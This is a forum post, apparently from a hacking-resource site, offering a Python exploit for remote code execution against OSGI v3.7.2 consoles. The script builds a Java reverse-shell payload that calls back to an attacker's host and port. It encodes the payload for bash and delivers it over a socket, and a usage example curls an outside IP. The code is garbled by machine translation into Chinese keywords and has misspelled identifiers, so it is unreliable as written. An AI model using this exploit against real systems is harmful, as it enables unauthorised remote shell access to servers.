H

OSGI v3.7.2(及以下)控制台-RCE

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#!/usr/bin/python
#利用标题: [OSGI v3.7.2控制台RCE]
#日期: [2023-07-28]
#利用作者: [Andrzej Olchawa,Milenko Starcik,
#Visionspace Technologies GmbH]
#利用Repository:
#[https://github.com/visionspacetec/offsec-osgi-exploits.git]
#供应商homepage: [https://eclipse.dev/equinox]
#软件link: [https://archive.eclipse.org/equinox/]
#版本: [3.7.2及以前]
#测试在: [Linux Kali 6.3.0-Kali1-Amd64]
#许可: [MIT]

#USAGE:
#python exploit.py----

#示例:
#python exploit.py -rhost=localhost -rport=1337 -lhost=localhost \
#-lport=4444

#python exploit.py--rhost=localhost -rport=1337 -payload=\
#'curl http://192.168.100.100/osgi_test'
'''
这是一个允许从
运行OSGI v3.7.2及更早的系统。
'''
导入argparse
导入基础64
导入套接字
DEF PARSE():
'''
此功能用于解析和返回命令行参数。
'''
Parser=argparse.argumentparser(
prog='osgi 3.7.2-console-rce',
description='此工具将使您从'
使用“ -console”运行OSGI的系统'
“版本3.7.2(或之前)中的选项。”,
epilog='快乐黑客!)',

parser.add_argument(' - rhost',dest='rhost',
help='远程主机',type=str,必需=true)
parser.add_argument(' - rport',dest='rport',
help='远程端口',type=int,必需=true)
parser.add_argument(' - lhost',dest='lhost',
help='本地主机',type=str,必需=false)
parser.add_argument(' - lport',dest='lport',
help='本地端口',type=int,必需=false)
parser.add_argument(' - 有效载荷',dest='custom_payload',
help='自定义有效载荷',type=str,必需=false)
parser.add_argument(' - 版本',action='版本',
版本='%(prog)s 0.1.0')
args=parser.parse_args()
如果args.custom_payload和(args.lhost或args.lport):
Parser.Error(Error(
“要么是- 付费或两者都需要- 要付费。”)
返回args
def generate_payload(lhost,lport,custom_payload):
'''
此功能生成了整个有效负载以进行交付。
'''
有效载荷=''
如果custom_payload:
有效载荷=custom_payload
打印('(*)使用自定义有效载荷。')
Elif LHOST和LPORT:
有效载荷=\
'echo'导入java.io.ioexception;导入java.io.inputstream;' \ \
'import java.io.outputstream; import java.net.socket; class rev'\ class rev'\
'shell {public static void main(string [] args)抛出异常
'on oN {字符串host=\'%s \'; int port=%s; string cmd=\'sh \'; proces'\
's p=new ProcessBuilder(cmd).RedirectRorstream(true).start('\
');套接字s=new套接字(主机,端口); inputstream pi=p.getInputst'\
'ream(),pe=p.getErrorStream(),si=s.getInputStream(); outputst'\
'ream po=p.getOutputStream(),so=s.getOutputStream(); while(!s'\
'.isclosed()){while(pi.available()0)so.write(pi.read());
'e(pe.available()0)so.write(pe.read()); while(si.available()
'0)po.Write(si.read()); so.flush(); po.flush(); thread.sleep(50)'\
'; try {p.exitvalue(); break;} catch(异常e){}}; p.destroy('\
'); s.close();}}'revshell.java; java ./revshell.java'%(
LHOST,LPORT)
打印('(+)使用Java反向外壳有效载荷。')
bash_payload=b'bash -c {echo,%s} | {base64,-d} | {bash,-i}'%(
base64.b64encode(paryload.encode()))
wrapped_payload=b'fork \'%s \'\ n'%(bash_payload)
返回包装_PAYLOAD
def drive_payload(rhost,rport,有效载荷):
'''
此功能连接到目标主机并提供有效载荷。
如果成功的话,它将返回真实;否则为错误。
'''
打印('(*)发送有效载荷.')
TRY:
sock=socket.socket(socket.af_inet,socket.sock_stream)
sock.connect(((rhost,rport))
袜子。
sock.close()
除了socket.Error为ERR:
打印(f'( - )无法将有效载荷交付到{rhost} : {rport}!')
打印(err)
返回false
返回true
def main(args):
'''
主要功能。
'''
有效载荷=generate_payload(args.lhost,args.lport,args.custom_payload)
Success=evry_payload(args.rhost,args.rport,有效载荷)
如果成功:
打印('(+)完成。')
其他:
打印('( - )带有错误。')
如果name=='__ -Main __':
主(parse())
 
后退
顶部